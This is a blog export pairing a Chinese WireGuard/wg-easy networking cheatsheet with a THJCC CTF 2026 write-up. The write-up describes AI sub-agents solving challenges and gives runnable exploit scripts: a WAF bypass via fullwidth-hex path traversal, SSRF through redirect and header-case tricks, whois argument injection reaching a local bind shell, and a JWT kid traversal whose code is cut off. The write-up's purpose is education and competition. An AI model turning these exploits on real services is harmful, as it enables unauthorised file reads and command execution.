[{"content":"WireGuard 与 wg-easy 速查手册 1. 转发：一个包到达主机后 flowchart TD A[\u0026#34;网卡收到 IP 包\u0026#34;] --\u0026gt; B{\u0026#34;目的 IP 是本机？\u0026#34;} B --\u0026gt;|\u0026#34;是\u0026#34;| C[\u0026#34;交给本机进程\u0026lt;br/\u0026gt;（ping / ssh / 浏览器）\u0026#34;] B --\u0026gt;|\u0026#34;否\u0026#34;| D{\u0026#34;ip_forward = 1？\u0026#34;} D --\u0026gt;|\u0026#34;否\u0026#34;| E[\u0026#34;丢弃（普通主机默认）\u0026#34;] D --\u0026gt;|\u0026#34;是\u0026#34;| F[\u0026#34;查系统路由表\u0026lt;br/\u0026gt;最长前缀匹配\u0026#34;] F --\u0026gt; G{\u0026#34;FORWARD 链放行？\u0026#34;} G --\u0026gt;|\u0026#34;否\u0026#34;| E G --\u0026gt;|\u0026#34;是\u0026#34;| H[\u0026#34;从匹配接口发出\u0026lt;br/\u0026gt;（eth0 / wg0）\u0026#34;] 路由表 = 去哪、从哪出（ip route） ip_forward = 肯不肯帮别人转包 FORWARD 链 = 防火墙放不放转发的包 2. NAT：为什么出口端必须改写源 IP sequenceDiagram participant S as 支援PC 10.8.0.3 participant E as 出口机 192.168.80.132 participant T as 比赛机器 192.168.80.10 S-\u0026gt;\u0026gt;E: src=10.8.0.3 dst=192.168.80.10 Note over E: POSTROUTING 链 SNAT：\u0026lt;br/\u0026gt;源改写为 192.168.80.132，\u0026lt;br/\u0026gt;conntrack 记录映射 E-\u0026gt;\u0026gt;T: src=192.168.80.132 T-\u0026gt;\u0026gt;E: 回包 dst=192.168.80.132 Note over E: conntrack 查表：\u0026lt;br/\u0026gt;目的地改回 10.8.0.3 E-\u0026gt;\u0026gt;S: dst=10.8.0.3（进 wg 隧道） 不改写源 IP，比赛机器不认识 10.8.0.3，回包石沉大海（回程路由问题）。\nSNAT --to-source IP MASQUERADE 源 IP 固定指定 出口网卡当前 IP（动态） 适用 IP 恒定（桥接 VM / 静态内网 IP） IP 浮动（DHCP / 云主机 / WSL2） 3. WireGuard：AllowedIPs 一个字段两件事 flowchart LR subgraph OUT [\u0026#34;出方向 = 选路\u0026#34;] A[\u0026#34;目的地命中某 peer 的 AllowedIPs\u0026#34;] --\u0026gt; B[\u0026#34;加密发给该 peer\u0026#34;] end subgraph IN [\u0026#34;入方向 = 门禁\u0026#34;] C[\u0026#34;从 peer 解密出的包\u0026#34;] --\u0026gt; D{\u0026#34;源 IP 在该 peer\u0026lt;br/\u0026gt;AllowedIPs 内？\u0026#34;} D --\u0026gt;|\u0026#34;是\u0026#34;| E[\u0026#34;放行\u0026#34;] D --\u0026gt;|\u0026#34;否\u0026#34;| F[\u0026#34;静默丢弃\u0026#34;] end 客户端配置和服务端 wg0.conf 是两张独立的表，各写各的：\nflowchart LR subgraph PC [\u0026#34;支援PC 下载的客户端配置\u0026#34;] A1[\u0026#34;[Peer] 服务器\u0026lt;br/\u0026gt;AllowedIPs =\u0026lt;br/\u0026gt;10.8.0.0/24, 192.168.80.0/24\u0026#34;] end subgraph VPSS [\u0026#34;VPS 的 wg0.conf\u0026#34;] B1[\u0026#34;peer(支援PC)\u0026lt;br/\u0026gt;AllowedIPs = 10.8.0.3/32\u0026#34;] B2[\u0026#34;peer(出口机)\u0026lt;br/\u0026gt;AllowedIPs = 10.8.0.2/32,\u0026lt;br/\u0026gt;192.168.80.0/24（挂载网段）\u0026#34;] end subgraph EPC [\u0026#34;出口机下载的客户端配置\u0026#34;] C1[\u0026#34;[Peer] 服务器\u0026lt;br/\u0026gt;AllowedIPs = 10.8.0.0/24\u0026#34;] end A1 -.加密.-\u0026gt; VPSS C1 -.加密.-\u0026gt; VPSS 系统路由表先于密钥路由：内核先决定包走 wg0，WireGuard 才按 peer AllowedIPs 选加密对象 Table = auto：wg-quick up 时才为 peer 的 AllowedIPs 写系统路由；syncconf 只改 peer 表不写路由 → 改完挂载网段必须重启接口 PersistentKeepalive = 25：给中间每层 NAT 的 UDP 映射续费 4. 两种出口模型 flowchart LR A[\u0026#34;本地PC-A\u0026#34;] --\u0026gt;|\u0026#34;0.0.0.0/0 全隧道\u0026#34;| V[\u0026#34;VPS 原版 wg-easy\u0026lt;br/\u0026gt;MASQUERADE -o eth0\u0026#34;] B[\u0026#34;本地PC-B\u0026#34;] --\u0026gt;|\u0026#34;0.0.0.0/0\u0026#34;| V V --\u0026gt; I[\u0026#34;互联网\u0026lt;br/\u0026gt;所有人的出口 IP = VPS\u0026#34;] flowchart LR A[\u0026#34;支援PC\u0026lt;br/\u0026gt;10.8.0.3\u0026#34;] --\u0026gt;|\u0026#34;隧道 UDP 51820\u0026#34;| V[\u0026#34;VPS\u0026lt;br/\u0026gt;纯转发，不 NAT\u0026#34;] V --\u0026gt;|\u0026#34;目的 ∈ 192.168.80.0/24\u0026lt;br/\u0026gt;按 peer AllowedIPs\u0026#34;| E[\u0026#34;出口机\u0026lt;br/\u0026gt;wg:10.8.0.2\u0026lt;br/\u0026gt;内网:192.168.80.132\u0026#34;] E --\u0026gt;|\u0026#34;SNAT 源 → .132\u0026#34;| N[\u0026#34;比赛内网\u0026lt;br/\u0026gt;192.168.80.0/24\u0026#34;] 原版 wg-easy my-wg-easy（魔改旧版） 新版 wg-easy 出口 VPS（MASQUERADE） 指定出口机（SNAT） 任意，按客户端配 挂载网段 无 WG_ALLOWED_IPS 每客户端 Server Allowed IPs 出口端 NAT 服务端固定 硬编码进出口机配置 每客户端 Post Up 钩子 指定出口机 无 按客户端名 WG_LOCAL_NAME 显式逐客户端配置 配置生效 重启容器 重启容器 Restart Interface 5. 场景全景：ping 192.168.80.10 的一生 flowchart TD S[\u0026#34;① 支援PC：路由表 192.168.80.0/24 → wg0，加密\u0026#34;] --\u0026gt; V[\u0026#34;② VPS：解密，非本机，转发\u0026lt;br/\u0026gt;需 ip_forward + FORWARD 放行\u0026lt;br/\u0026gt;需系统路由 192.168.80.0/24 → wg0\u0026lt;br/\u0026gt;密钥路由命中出口机 peer，加密\u0026#34;] V --\u0026gt; E[\u0026#34;③ 出口机：解密，非本机，转发\u0026lt;br/\u0026gt;SNAT 源 10.8.0.3 → 192.168.80.132\u0026#34;] E --\u0026gt; T[\u0026#34;④ 比赛机器：只看到 .132 在访问\u0026#34;] T --\u0026gt;|\u0026#34;⑤ 回包 dst=.132\u0026#34;| E2[\u0026#34;⑥ 出口机：conntrack 改回 dst=10.8.0.3\u0026lt;br/\u0026gt;路由 10.8.0.0/24 → wg0，加密\u0026#34;] E2 --\u0026gt; V2[\u0026#34;⑦ VPS：解密，dst=10.8.0.3\u0026lt;br/\u0026gt;/32 最长前缀命中支援PC peer，加密\u0026#34;] V2 --\u0026gt; S2[\u0026#34;⑧ 支援PC：解密，源=192.168.80.10\u0026lt;br/\u0026gt;在自己 AllowedIPs 内 → 放行 ✓\u0026#34;] 6. 新版 wg-easy 比赛内网配置（推荐） flowchart TD A[\u0026#34;VPS 部署新版 wg-easy，默认配置\u0026#34;] --\u0026gt; B[\u0026#34;创建客户端：出口机\u0026lt;br/\u0026gt;按下表配字段\u0026#34;] B --\u0026gt; C[\u0026#34;赛场 Linux 机：\u0026lt;br/\u0026gt;sysctl -w net.ipv4.ip_forward=1\u0026lt;br/\u0026gt;wg-quick up 下载的 conf\u0026#34;] C --\u0026gt; D[\u0026#34;管理后台 Restart Interface\u0026lt;br/\u0026gt;（生成 比赛网段 → wg0 系统路由）\u0026#34;] D --\u0026gt; E[\u0026#34;创建客户端：支援\u0026lt;br/\u0026gt;Allowed IPs 加比赛网段\u0026#34;] E --\u0026gt; F[\u0026#34;分发配置 / 二维码\u0026#34;] 出口机客户端字段：\n字段 值 Allowed IPs 10.8.0.0/24 Server Allowed IPs 192.168.80.0/24（比赛网段，可多个） Post Up iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j SNAT --to-source 192.168.80.132 Post Down 同上改 -D Persistent Keepalive 25 支援客户端字段：\n字段 值 Allowed IPs 10.8.0.0/24, 192.168.80.0/24 坑：\n改 Server Allowed IPs 后必须 Restart Interface（syncconf 不写系统路由） 出口机须 Linux 且 wg-quick 启动（Windows 原生客户端不执行 PostUp）；VM 桥接最佳；WSL2 / Docker 场景 PostUp 改用 -j MASQUERADE 比赛网段勿与 WG 虚拟网段重叠 新客户端默认继承全局 Allowed IPs（0.0.0.0/0），不改则支援全部流量走 VPS 7. my-wg-easy（旧版）比赛内网配置 环境变量 示例 含义 WG_LOCAL_NAME l1aotest 出口机的客户端名 WG_LOCAL_PASS 192.168.80.132 出口机内网 IP（SNAT 目标） WG_ALLOWED_IPS 192.168.80.0/24 挂载网段（同时喂客户端路由 + 服务端 peer） WG_DEFAULT_ADDRESS 10.8.0.x WG 虚拟网段 WG_PERSISTENT_KEEPALIVE 25 NAT 保活 流程：先创建名为 WG_LOCAL_NAME 的客户端 → 重启容器（wg-quick up 才写挂载网段路由）→ 出口机用下载的 conf wg-quick up + 开 ip_forward。\n8. 排障：按序检查 flowchart TD A[\u0026#34;ping 不通\u0026#34;] --\u0026gt; B[\u0026#34;支援PC：ip route get 目标\u0026lt;br/\u0026gt;走了 wg0？\u0026#34;] B --\u0026gt;|\u0026#34;否\u0026#34;| B1[\u0026#34;AllowedIPs 缺比赛网段\u0026#34;] B --\u0026gt;|\u0026#34;是\u0026#34;| C[\u0026#34;VPS：ip route get 目标\u0026lt;br/\u0026gt;走了 wg0？\u0026#34;] C --\u0026gt;|\u0026#34;否\u0026#34;| C1[\u0026#34;改过挂载网段没重启接口\u0026lt;br/\u0026gt;→ Restart Interface\u0026#34;] C --\u0026gt;|\u0026#34;是\u0026#34;| D[\u0026#34;出口机：tcpdump -ni eth0\u0026lt;br/\u0026gt;有出向包？\u0026#34;] D --\u0026gt;|\u0026#34;否\u0026#34;| D1[\u0026#34;ip_forward 未开 / FORWARD 未放行\u0026#34;] D --\u0026gt;|\u0026#34;是\u0026#34;| E[\u0026#34;回包到出口机却没回支援？\u0026lt;br/\u0026gt;支援 AllowedIPs 缺比赛网段\u0026lt;br/\u0026gt;（被自己 WG 门禁丢弃）\u0026#34;] 1 2 3 ip route get 192.168.80.10 # 本机视角：包从哪个口出 tcpdump -ni wg0 # 隧道侧抓包 tcpdump -ni eth0 # 物理侧抓包 ","date":"2026-08-26T03:00:00Z","permalink":"/2026/08/26/wg-easy-cheatsheet/","title":"WireGuard 与 wg-easy 速查手册"},{"content":"THJCC CTF Summer 2026 writeup THJCC CTF Summer Edition 2026（2026-08-13 ~ 08-16 20:00 UTC+8，CTFd 平台，动态计分）， 46 题解出 40：\n分类 战绩 备注 Crypto 8/8 全清 Pwn 6/6 全清 Reverse 6/6 全清 Web 7/9 未解：The Archivist、Buggy web（均 0 解） Misc 7/10 未解：All night long（需认歌）、CTFxck、Shifting v2（paste 失效） Forensics 5/6 未解：Minecraft???（需 MC 客户端） Welcome 1/1 最终 4504 分、排名 14（榜首 奶龍大冒險 6341 分）。动态计分的副作用是榜单下午整体通缩：解出的人越多，题分越低，最后几小时我们的分数从 5900+ 一路滑到 4504。\n这篇记录的不仅是题解。和以往单模型一路打到底不同，这次是编排式：主 agent 只做 编排（侦察/派单/验收），全部解题由后台子 agent 流水线完成，多模态题外送 GPT。 40 题里我只亲手做了两道纯本地快题（Starry Sky、Baritone），其余 38 题是 138 个子 agent 会话的流水线派单加 GPT 两次出手的结果。怎么分工、踩了哪些坑、六道没解出来的题为什么没解出来，都写在前面，题解放后面。\n一、模型怎么分的工 分工形态开头已经讲过，这里只给证据。比赛从 08-15 傍晚打到 08-16 20:00，主会话换了 5 个；模型段和切换点从各会话的运行记录逐段核对，再叠加各题 WRITEUP 的落盘时间戳交叉验证：\n主会话 时段 模型段（请求 ×N） 完成的题目 会话① 08-15 16:20–16:50 deepseek-v4-flash ×125 首次全量扫题尝试，被用户清空重来（产物未保留） 会话② 08-15 16:52–18:03 deepseek-v4-flash ×117 xorlocks、I ate something bad、Lattice of Doom、Because There is no one Make Reverse So I Create This Chal（reverse-chal）、Man!、A Little Penguin\u0026rsquo;s Starry Sky Observation（第一批开局六题） 会话② 08-15 18:13–20:55 GLM-5.3 ×95 67jail、サイゼリヤ、Avatar Studio、Oracle of Padding、necropet、get-file1、déjà vu、A Million Messages 会话② 08-15 21:04–08-16 06:11 deepseek-v4-flash ×104 License、404、Nonce Sense、Afterimage2、TeaGod.exe、Canary Notes、Contoso（22:26 第二批上线后的夜场，通宵到早） 会话②尾段 + 会话③④并行 08-16 06:11–11:36 GLM-5.3 ×25 + deepseek-v4-flash ×157/×78 TeaGod666、Chronicle、Schizophrenic Signer、NoNo、Bookworm、get-file2、Time Machine、BlackFrost、Very Security Shell、Who is Whois? 2、Forbidden、Two Exponents；Starry Sky、Baritone 两道为主 agent 亲解（纯本地快题） 会话⑤（终局会话） 08-16 11:23–20:53 GLM-5.3 ×233（主编排） Welcome（用户人眼 + GPT check-in）、SO EZ MISC（子 agent 第 3 轮）、SimpleNotes（子 agent 第 3 轮） GPT（外部多模态） 08-16 午后 — Afterimage1（mdat 孤立帧）、Where is our head（墨尔本双锚点）；All night long 未出 子 agent 兵团：138 个 subagent 会话，deepseek-v4-flash 68 个（4020 请求）、GLM-5.3 70 个（2830 请求）。每题一个 agent，时间盒 30-40 分钟，断点落盘、中断续派，滑窗保持 ≤3 并发（试过 6 并发，模型层连环故障）。未解题的消耗也值得一提：CTFxck 打了 10 轮，Buggy web 7 轮，The Archivist 5 轮，SO EZ MISC 和 SimpleNotes 各 3 轮，后两个第 3 轮破题。\n术语：\n上下文压缩＝主会话上下文超长时摘要续写，会话记录因此分段、模型归属按段核对； 断点落盘＝每轮把中间状态写进挑战目录 notes.md，按「已确凿的事实 / 当前假设与排除面 / 下一步（优先级）」分节滚动维护（如 ctfxck/notes.md 十轮、the-archivist/checkpoint_notes.md），中断可续、赛后可复盘； 滑窗＝保持固定并发数、一个 agent 结束立即补派； 1308＝账户级 5 小时请求配额上限（跨模型共享）； 会话 ID（b96110e4 等）＝本地会话编号，仅用于对照运行记录。 我给的 prompt（对照表，从会话记录提取） 时间 原始 prompt（摘录） 响应的模型 08-15 16:20 完成 https://ctf2026-sum.thjcc.org/challenges 中所有的挑战，有什么需求轮子可以自己安装github（检索）/brew，并把你的解题思路记下来…… deepseek-v4-flash 08-15 16:48 清空下本地题目文件夹的内容，与相关的记忆。 deepseek-v4-flash 08-15 16:52 # 任务：CTF 全量刷题（主 agent 编排模式）……（任务编排模板首版全文） deepseek-v4-flash 08-15 16:57 这是ctfd，应该有对应的token可以用 deepseek-v4-flash 08-15 18:15 （上下文压缩后重注入任务模板） GLM-5.3 ← 模型切换点 08-15 19:11 每次至多一个比赛题目环境吧？teagod我先停了，先做其他的？避免环境冲突？ GLM-5.3 08-15 19:15 rev，和pwn我理解简单点，还可以本地调试？ GLM-5.3 08-15 19:21 密码题我理解也可以本地解决，多派几个agent解决下crypto。 GLM-5.3 08-15 19:54 子agent貌似访问不到download，所以你派任务前，先把题目附件下好 GLM-5.3（附件预下载制度由来） 08-15 20:39 去掉容器的限制 GLM-5.3（环境锁废除的前奏） 08-15 21:07 现在又有token了，继续干！需要我的东西留到最后再搞。另外的，没有多模态额度了！ deepseek-v4-flash ← 切回 08-15 22:26 先放着吧，看下有没有新题，也加到队列里，另外我去睡觉了，有问题收集起来我明天会看，应解尽解下。 deepseek-v4-flash（通宵无人值守） 08-16 06:11 结合我之前说的内容，更新下任务模板文件 deepseek-v4-flash 08-16 06:18 继续完成解题，优先做最可能完成的题目，对于多次没做出来的题目优先级降低些（放后面再做，避免卡进度）。 GLM-5.3（b96110e4 开场） 08-16 08:11 agent放后台执行，有agent结束就派新的agent……避免等待5个agent全完成才派发下一批 deepseek-v4-flash（滑窗流水线定稿） 08-16 08:16 派子agent 模型用deepseek就行 deepseek-v4-flash 08-16 08:34 不要有lock，写到ctf prompt template中……一个容器锁会影响多个子agent解题 deepseek-v4-flash（环境锁全面废除） 08-16 10:10 让子agent去做，派的子agent少一点，就三个，不然容易限流 deepseek-v4-flash（≤3 并发定稿） 08-16 11:20 停止所有agent，后面让他们总结阶段性成果，我要交给下一个模型去干活了。 deepseek-v4-flash 08-16 11:23 继续完成解题，优先做最可能完成的题目……主agent调度，子agent干活，没有锁，最多三个子agent run在后台。 GLM-5.3（终局会话 d3dc43ee 开场） 08-16 12:0x welcome做出来了，这是wp：……（Welcome 57 帧题解全文） GLM-5.3 08-16 12:4x 现在还有哪些难搞的需要多模态模型的题目？给我下，我等会让gpt搞一下 GLM-5.3（GPT 外援通道开启） 08-16 13:0x 这些需要gpt（多模态）完成的题目你就不要再自己做了。把题目与相关需要交接的东西给到我就行 GLM-5.3（三题移交定稿） 08-16 14:1x 这是干啥的？/tmp/thjcc-submit-lock。提交flag也弄个锁吗？不需要锁 GLM-5.3（提交锁废除） 08-16 14:2x ctfd的平台应该有便捷的方式提交flag吧？比如apikey的openapi……给一个curl出来我让gpt自己验证去 GLM-5.3（API token 交付 GPT） 08-16 15:0x 有配额了，继续让agent干！ GLM-5.3（1308 重置后复场） 08-16 15:2x simplenotes不会有源码了，继续干他，不要太局限了，你看没源码也有解ssrf看看呢 GLM-5.3（SimpleNotes 第 3 轮换论） 08-16 19:3x TL;DR 正确答案：THJCC{144.95,-37.81}……（GPT 两题完整 WP 回传） GLM-5.3 08-16 19:5x 两道web派子agent攻克下 GLM-5.3（终局两路） 归属方法注记：主会话的模型段与切换点按运行时间连续分段核对；用户 prompt 已过滤系统注入消息（待办提醒、子任务回报等）；题目归属 = WRITEUP 落盘时间 戳落在哪个模型段。早期记录在上下文压缩后有所缺失，以完整保存的记录为准。\n几条被打磨出来的纪律 提交锁废除：一开始按模板给 flag 提交加了个 mkdir 原子锁，被用户否了：多 agent 互相等锁只会互相阻塞。改成无锁，撞了平台限速就退避（CTFd 大约一分钟限 10 次，被限速的那次不算判定，sleep 8-10s 重发即可）。 配额墙：账户级 5 小时请求上限（1308 次）跨模型共享，撞墙就停派等重置，空档期我自己做纯本地快题维持进度。 降级规则：多轮打不动的题排到队尾。The Archivist、Buggy web、CTFxck 都是打满十轮上下后正式关闭，每轮断点全量落盘，等官方 writeup 对答案。 题面复核：黑盒卡死先复查附件和题面有没有中途更新，这条抓到过两次关键情报（Buggy web 作者后挂了 4 条 hints，直接点明密码字段是 SQLi；CTFxck 题面补了解释器源码链接）。 官方 hints 的杠杆率 Buggy web 的 3 条免费 hint 加 1 条 50 分的付费 hint 全买了，情报质量确实高（账号固定在 DB、密码字段拼 SQL、DB 有个休眠函数）。结果 7 轮 ~350 个 payload 打下来，password 进的是结果被丢弃的查询，黑盒里根本没有 oracle 可依赖。买 hint 前得先想清楚它帮你排除了什么，又排除不了什么。\n二、题解（40 题，每题附真实可运行的最小 POC） 每题代码即对应本地题目目录 \u0026lt;slug\u0026gt;/solve.py（或 solve.sh）的核心逻辑， 参数化可直接运行；纯人眼/OSINT 类题（Welcome、Where is our head、Penguin）注明 豁免与可复现部分。\n说明：联网 POC（chal.thjcc.org 各端口）为赛时实例验证，赛后需自建环境或本地起题；离线可复现的题（Two Exponents、Lattice of Doom、License、404/xorlocks、BlackFrost、TeaGod.exe、Because…、Man!、Afterimage2、Starry Sky、Baritone、Welcome 抽帧、サイゼリヤ）开箱即跑。40 题 = 38 个条目：get-file1/get-file2 与 404/xorlocks 各合并为一条。所有代码块默认折叠，按需点击展开。\n跨题套路·解码/归一/格式层差异判别法（SimpleNotes 全角 hex、67jail NFKC 全角标识符、get-file1 小写 location:、Time Machine zip/tar symlink）：遇到\u0026quot;某种检查能过、另一种不过\u0026quot;时，先枚举输入会经过的所有层（URL 解码、tokenizer 归一、大小写折叠、归档格式解析…），对每层送一组对照输入（%25 编码、全角字符、大小写头、换归档格式），确定\u0026quot;哪层看不见什么\u0026quot;，再从层间差异下手。\nWeb（7/9） SimpleNotes（Ghost Bits / BH Asia 2026） Flag：THJCC{inspired_by_blackhat_asia_2026}\n前两轮证明了 /api/read?f= 在 ASCII 编码空间\u0026quot;数学密封\u0026quot;（WAF raw+解码双查 ../%2e/%2f，应用单次 URLDecoder）。破口在解码器字符集差异：URLDecoder 的十六进制解析走 Character.digit，它接受全角字符：%２ｅ 解码出 .， 而 WAF 的 ASCII token 匹配完全看不见。\n📜 SimpleNotes solve.py（56 行，核心 ghost_escape@149）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;SimpleNotes (THJCC CTF Summer 2026, Web) — 一键复现. 原理: 控制器对 f 做一次 java.net.URLDecoder.decode; 其十六进制解析走 Character.digit(char,16), 接受全角字符(\u0026#39;２\u0026#39;-\u0026gt;2, \u0026#39;ｅ\u0026#39;-\u0026gt;14, \u0026#39;ｆ\u0026#39;-\u0026gt;15), 故 \u0026#34;%２ｅ\u0026#34;-\u0026gt;\u0026#39;.\u0026#39;、\u0026#34;%２ｆ\u0026#34;-\u0026gt;\u0026#39;/\u0026#39;, 而 WAF 只匹配 ASCII token \u0026#34;%2e/%2f/..\u0026#34;. 传输约束: \u0026#39;%\u0026#39; 必须写成 %25, 全角字符必须 UTF-8 百分号编码(裸高位字节/裸%+非ASCII 均被 Tomcat 400). 用法: solve.py [base_url] [--depth N] [--target flag.txt] \u0026#34;\u0026#34;\u0026#34; import argparse import sys import urllib.request FW = {\u0026#34;2\u0026#34;: \u0026#34;２\u0026#34;, \u0026#34;e\u0026#34;: \u0026#34;ｅ\u0026#34;, \u0026#34;f\u0026#34;: \u0026#34;ｆ\u0026#34;, \u0026#34;E\u0026#34;: \u0026#34;Ｅ\u0026#34;, \u0026#34;F\u0026#34;: \u0026#34;Ｆ\u0026#34;} def ghost_escape(ch: str) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;把 \u0026#39;.\u0026#39; 或 \u0026#39;/\u0026#39; 编码成 URLDecoder 能折叠、WAF 看不见的 %２ｅ/%２ｆ 形态.\u0026#34;\u0026#34;\u0026#34; hexpair = f\u0026#34;{ord(ch):02x}\u0026#34; # \u0026#39;.\u0026#39; -\u0026gt; \u0026#39;2e\u0026#39;, \u0026#39;/\u0026#39; -\u0026gt; \u0026#39;2f\u0026#39; body = \u0026#34;\u0026#34;.join(FW[c] for c in hexpair) return \u0026#34;%25\u0026#34; + \u0026#34;\u0026#34;.join(f\u0026#34;%{b:02X}\u0026#34; for b in body.encode(\u0026#34;utf-8\u0026#34;)) def fetch(base: str, query: str) -\u0026gt; tuple[int, str]: url = f\u0026#34;{base.rstrip(\u0026#39;/\u0026#39;)}/api/read?{query}\u0026#34; try: with urllib.request.urlopen(url, timeout=10) as r: return r.status, r.read().decode(\u0026#34;utf-8\u0026#34;, \u0026#34;replace\u0026#34;) except urllib.error.HTTPError as e: return e.code, e.read().decode(\u0026#34;utf-8\u0026#34;, \u0026#34;replace\u0026#34;) def main() -\u0026gt; None: ap = argparse.ArgumentParser() ap.add_argument(\u0026#34;base\u0026#34;, nargs=\u0026#34;?\u0026#34;, default=\u0026#34;http://chal.thjcc.org:12024\u0026#34;) ap.add_argument(\u0026#34;--depth\u0026#34;, type=int, default=2, help=\u0026#34;notes 目录深度(默认 2)\u0026#34;) ap.add_argument(\u0026#34;--target\u0026#34;, default=\u0026#34;flag.txt\u0026#34;, help=\u0026#34;根下目标文件名\u0026#34;) a = ap.parse_args() code, body = fetch(a.base, \u0026#34;f=\u0026#34; + ghost_escape(\u0026#34;.\u0026#34;)) print(f\u0026#34;[*] canary -\u0026gt; [{code}] {body.strip()!r} (期望 404 echo \u0026#39;.\u0026#39;)\u0026#34;) q = \u0026#34;f=\u0026#34; + (ghost_escape(\u0026#34;.\u0026#34;) * 2 + \u0026#34;/\u0026#34;) * a.depth + ghost_escape(\u0026#34;/\u0026#34;) + a.target code, body = fetch(a.base, q) print(f\u0026#34;[*] traversal(depth={a.depth}) -\u0026gt; [{code}]\u0026#34;) if code == 200 and body.startswith(\u0026#34;THJCC{\u0026#34;): print(f\u0026#34;[+] {body.strip()}\u0026#34;) sys.exit(0) print(f\u0026#34;[-] {body.strip()[:200]} (尝试 --depth 1/2/3)\u0026#34;) sys.exit(1) if __name__ == \u0026#34;__main__\u0026#34;: main() get-file1 / get-file2（SSRF 续作对） Flag：THJCC{pHp_StReAm_30X_cAsE_43082ed528} / THJCC{PHP_stream_30x_DuAl_65de4980cf}\nv1 的 redirect 白名单用大小写敏感的 str_starts_with('Location:') 校验，redirector 发小写 location: 头即绕过，PHP stream 跟 3xx 不分大小写直达 flag host。v2 修了 这个但只校验第一跳，跟随链后续不查，内网端点直接吐 flag。\n📜 get-file1 solve.py（33 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # ==== get-file1/solve.py ==== #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;get-file1 一键复现：SSRF + 小写 location 头绕过重定向白名单校验。 用法: python3 solve.py [host:port] 默认 chal.thjcc.org:8081。预期输出: THJCC{...} \u0026#34;\u0026#34;\u0026#34; import sys, urllib.request, urllib.error TARGET = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;chal.thjcc.org:8081\u0026#34; # r = redirector 的 compose 服务名（docker-compose.yml services.r） # /a 端点用小写 \u0026#39;location\u0026#39; 头发出 302 -\u0026gt; http://flag.thjcc/flag.txt payload = f\u0026#34;http://{TARGET}/file.php?u=http://r/a\u0026#34; try: body = urllib.request.urlopen(payload, timeout=20).read().decode() except urllib.error.HTTPError as e: body = e.read().decode() print(f\u0026#34;[+] GET {payload}\u0026#34;) print(body.strip()) # 对照组：/b 用大写 \u0026#39;Location\u0026#39;，会被 file.php 的 # str_starts_with($v,\u0026#39;Location:\u0026#39;) 手动校验抓住 -\u0026gt; 400 error try: urllib.request.urlopen(f\u0026#34;http://{TARGET}/file.php?u=http://r/b\u0026#34;, timeout=20).read() ctrl = \u0026#34;unexpected 200\u0026#34; except urllib.error.HTTPError as e: ctrl = e.read().decode().strip() print(f\u0026#34;[*] control /b (capital Location) -\u0026gt; {ctrl!r} (预期 \u0026#39;error\u0026#39;)\u0026#34;) if \u0026#34;THJCC{\u0026#34; in body: print(\u0026#34;[*] flag captured\u0026#34;) 📜 get-file2 solve.sh（9 行）——点击展开 1 2 3 4 5 6 7 8 9 # ==== get-file2/solve.sh ==== #!/bin/bash # get-file2 solve: SSRF to internal r/a which serves the flag directly. # Usage: bash solve.sh [host] [port] set -u HOST=\u0026#34;${1:-chal.thjcc.org}\u0026#34; PORT=\u0026#34;${2:-8082}\u0026#34; curl -s -m 10 \u0026#34;http://${HOST}:${PORT}/file.php?u=http://r/a\u0026#34; echo Who is Whois? 2 Flag：THJCC{Wh0_15_wH015???WH0_15_wh0_15:D}\nwhois query 拼 argv，-h/-p 参数透传 = 任意 TCP SSRF → 内网全端口扫出 127.0.0.1:31337 的 bind shell（输入即执行）→ 跑 root 0711 的 /flag 可执行文件 直接吐 flag。\n发现过程：;/$()/`/| 全被滤，但 whois CLI 参数原样透传——-h 127.0.0.1 -p 80 x 回 \u0026ldquo;WHOIS connection failed.\u0026rdquo; 实锤任意 TCP SSRF；对 127.0.0.1 全端口扫描只有 31337 回 sh: 1: x: not found——把每行输入当 shell 命令执行的 bind shell（redis 用户）。Redis 6379 路线被 rename-command 禁用 + Lua 沙箱封死，FTP/SMTP/SSH 是假服务。\n📜 Who is Whois? 2 solve.sh（19 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/bin/sh # solve.sh — Who is Whois? 2 (THJCC CTF Summer 2026, Web, 500pts) # 攻击链: whois CLI 参数注入（-h/-p）→ SSRF → 127.0.0.1:31337 bind shell（redis 用户） # → 执行 /flag（root 0711: 可执行不可读）→ 输出 flag # 用法: bash solve.sh [HOST] [PORT] # 依赖: curl, python3（解析 JSON） set -u HOST=\u0026#34;${1:-chal.thjcc.org}\u0026#34; PORT=\u0026#34;${2:-5000}\u0026#34; QUERY=\u0026#39;-h 127.0.0.1 -p 31337 /flag\u0026#39; echo \u0026#34;[*] WHOIS SSRF payload: ${QUERY}\u0026#34; RESP=$(curl -sk --max-time 15 -X POST \u0026#34;http://${HOST}:${PORT}/whois\u0026#34; \\ -H \u0026#39;Content-Type: application/json\u0026#39; \\ -d \u0026#34;{\\\u0026#34;query\\\u0026#34;:\\\u0026#34;${QUERY}\\\u0026#34;}\u0026#34;) FLAG=$(echo \u0026#34;${RESP}\u0026#34; | python3 -c \u0026#39;import sys,json;print(json.load(sys.stdin).get(\u0026#34;output\u0026#34;,\u0026#34;\u0026#34;).strip())\u0026#39;) echo \u0026#34;[+] Flag: ${FLAG}\u0026#34; Avatar Studio Flag：THJCC{local_test_flag_not_the_real_one}\nJWT kid 相对路径 ../ 穿越（startswith(\u0026quot;/\u0026quot;) 只拦绝对路径）到 /.git/HEAD 已知内容做 HS256 密钥 → 伪造 admin token。\n发现过程：/.git/\u0026lt;path\u0026gt; 显式路由先泄漏全部源码——load_key(kid) 只拦 NUL 与 / 开头，os.path.join 不解析 ..；线上 .git/HEAD 内容已知（ref: refs/heads/master），kid=../.git/HEAD 就把\u0026quot;任意已知内容文件\u0026quot;变成 HMAC 密钥。/panel-legacy 的假 flag 诱饵平台判 incorrect。\n📜 Avatar Studio solve.py（71 行，核心 forge@291）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 